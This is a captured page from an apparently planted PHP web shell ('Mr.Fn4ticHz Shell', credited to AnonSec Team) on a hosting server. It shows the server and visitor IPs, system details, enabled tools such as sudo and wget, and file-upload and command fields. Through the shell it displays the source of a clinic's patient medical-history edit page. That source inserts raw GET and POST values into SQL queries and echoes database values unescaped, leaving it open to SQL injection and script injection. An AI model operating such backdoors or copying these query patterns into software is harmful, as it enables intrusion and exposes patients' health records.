Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.129.194.106
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//edit_showpage_Medical_surgical_History.php
<?php session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
include 'header.php';
include 'dashboarddocument.php';
//Code for Registration 
$Medical_surgical=$con->query("SELECT * FROM `Medical_surgical` WHERE `prescriptionid`='$_GET[prescriptionid]' AND `patientid`='$_GET[patientid]'");
$RowMedicalSurgical=$Medical_surgical->fetch_assoc();
if(isset($_POST['signup'])) 
{ 
    	$updated_at=date("F d, Y / h:i:s A");
$sql ="UPDATE Medical_surgical SET Information_Obtained_from='$_POST[Information_Obtained_from]',created_at='$_POST[created_at]',updated_at='$updated_at'  WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
$sql1 ="UPDATE save_activity SET created_at='$_POST[created_at]',updated_at='$updated_at'  WHERE prescriptionid='$_GET[prescriptionid]' AND userno='$_GET[patientid]' AND discription='Intial Assessment<br>Medical and surgical History<br>Doc.no-'";
if($qsql = mysqli_query($con,$sql))
		{
		    if($qsql = mysqli_query($con,$sql1))
		    {
    echo "<script>alert('Update successfully');</script><script>window.history.go(-2)</script>;</script>";
  } 
  }else {
    echo "Sorry, there was an error uploading your file.";
  } 
   
  
}

?>


 <style>
                     
       .center {
   border: 1px solid grey;

}
    
    

        input.largerCheckbox {
            width: 20px;
            height: 20px;
        }
 
</style>
   <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

     <script type="text/javascript">
$(document).ready(function(){
    $('#myForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
  </script>
<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
         z-index:10000000;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
    <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>
 <div class='center'>
<div class='content-wrapper'> 
    <form name="signup" enctype="multipart/form-data" method="post"  id='myForm'>

<?php 
		$sql ="SELECT * FROM Medical_surgical WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo "
		    <table id='example2' class='table table-bordered table-hover'>
 <tr><td width='50%'> Date & Time</td><td width='50%'> <input id='party' value='$rs[created_at]' type='text' name='created_at'
           ></td></tr>
           ";
		}
		?>
		    <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
      
         <th><strong>Medical Condition</strong></th>
          <th><strong>Status</strong></th> 
          <th><strong>Edit</strong></th>
                </tr>
                  </thead>
                  
                 
<?php
		$sql ="SELECT * FROM medi_condition_final WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[medicalcon]</td>     
            <td>&nbsp;$rs[Status]</td>
            <td><a href='edit_medicalcon.php?patientid=$rs[patientid]&medicalcoid=$rs[medicalcoid]'><i class='fa fa-pencil-square-o' style='font-size:20px;'></i></a></td>
				
          </tr>                   
          
          ";
}
?>   
 
        <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
      
         <th><strong>Allergies</strong></th>
          <th><strong>Category</strong></th> 
          <th><strong>Edit</strong></th>
                </tr>
                  </thead>
				<?php
		$sql ="SELECT * FROM allergy WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($ra = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
  
     <tr>   <td>&nbsp;$ra[Allergen]</td>     
            <td>&nbsp;$ra[Category]</td>
            <td><a href='edit_alg.php?patientid=$ra[patientid]&allergy_id=$ra[allergy_id]'><i class='fa fa-pencil-square-o' style='font-size:20px;'></i></a></td>
				
          </tr>                   
          
          ";
}
?>        </tr>
              
              </thead>
                  


                   </tbody>
  <tfoot>
          </tfoot>
        </table> 
<?php 
		$sql12 ="SELECT * FROM Brief_History_Patient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql12 = mysqli_query($con,$sql12);
		if($rs12 = mysqli_fetch_array($qsql12))
		{
		    echo "
		    <table id='example2' class='table table-bordered table-hover'>
<tr>
<td width='50%'>Information Obtained from  :</td>
<td width='50%'> <select name='Information_Obtained_from'>
        <option value='$RowMedicalSurgical[Information_Obtained_from]' >$RowMedicalSurgical[Information_Obtained_from]</option>
       <option value='Patient'>Patient</option>"; ?>
    <option value='Family' <?php echo ($RowMedicalSurgical['Information_Obtained_from'] == 'Family')?"selected":"" ?>>Family</option>
      <option value='Old Chart'  <?php echo ($RowMedicalSurgical['Information_Obtained_from'] == 'Old Chart')?"selected":"" ?>>Old Chart</option>
        <option value='Other'<?php echo ($RowMedicalSurgical['Information_Obtained_from'] == 'Other')?"selected":"" ?>>Other</option>
   <?php echo " </select> </td>
</tr>
";
		    
		}
?>
<?php
    $sql ="SELECT * FROM Medical_surgical WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
				{
if(on==$rt[Addiction])
{
?>
<div id='mmenu'>
<h3 align='center'>Addiction </h3>

  <?php 
		$sql ="SELECT * FROM Medical_surgical WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    $usertype=$rs['Tobacco'];
if($usertype == 'on'){
    echo "<tr><td width='50%'>Tobacco  : </td>
<td width='50%'> <input type='checkbox' name='Tobacco' class='largerCheckbox' checked></td></tr>";
} else{
    echo "<tr><td width='50%'>Tobacco  : </td><td width='50%'> <input type='checkbox' name='Tobacco' class='largerCheckbox' ></td></tr>";
}
}
?>

  <?php 
		$sql ="SELECT * FROM Medical_surgical WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    $usertype=$rs['Alcohol'];
if($usertype == 'on'){
    echo "<tr><td width='50%'>Alcohol  : </td>
<td width='50%'> <input type='checkbox' name='Alcohol' class='largerCheckbox' checked></td></tr>";
} else{
    echo "<tr><td width='50%'>Alcohol  : </td><td width='50%'> <input type='checkbox' name='Alcohol' class='largerCheckbox' ></td></tr>";
}
}
?>

 <?php 
		$sql ="SELECT * FROM Medical_surgical WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    $usertype=$rs['Smoking'];
if($usertype == 'on'){
    echo "<tr><td width='50%'>Smoking  : </td>
<td width='50%'> <input type='checkbox' name='Smoking' class='largerCheckbox' checked></td></tr>";
} else{
    echo "<tr><td width='50%'>Smoking  : </td><td width='50%'> <input type='checkbox' name='Smoking' class='largerCheckbox' ></td></tr>";
}
}
?>

	</div>
		 	  <?php
}
}
?>

</table>

	<button type="submit" name="signup"><span style="color:WHITE">Update</span></button>
				 
				 
				 </form>
				 
            
         

Anon7 - 2022
AnonSec Team